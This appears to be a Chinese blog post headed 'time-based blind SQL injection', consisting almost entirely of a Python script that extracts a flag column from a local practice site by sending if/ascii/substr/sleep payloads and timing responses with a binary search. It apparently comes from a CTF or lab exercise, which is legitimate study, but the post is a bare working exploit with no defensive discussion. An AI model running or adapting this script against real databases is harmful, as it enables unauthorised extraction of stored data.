时间盲注

import requests
import string

url = 'http://127.0.0.1/sql/p8/index.php?id=2' #url
flag = ''

for i in range(1,30):
    l,r = 32, 127
    while l < r:
        m = (l+r) // 2
        payload = '-if(ascii(substr((select group_concat(i_am_f1ag_column) from f1ag_table), %d, 1))>%d, sleep(1), 0)' % (i, m)
        # res = requests.get('%s%s' % (url, payload))
        # if "id = 1" in res.text: # 判断回显信息
        #     # flag += chr(m)
        #     l = m+1
        # else:
        #     r = m
        try:
            res = requests.get('%s%s' % (url, payload), timeout=1)
            r = m
        except Exception:
            l = m+1
    flag += chr(l)
    print(flag)
print(flag)

 

上一篇:Windows环境下使用ApacheBench(ab)进行接口压力测试及参数结果分析


下一篇:CF101B Buses 题解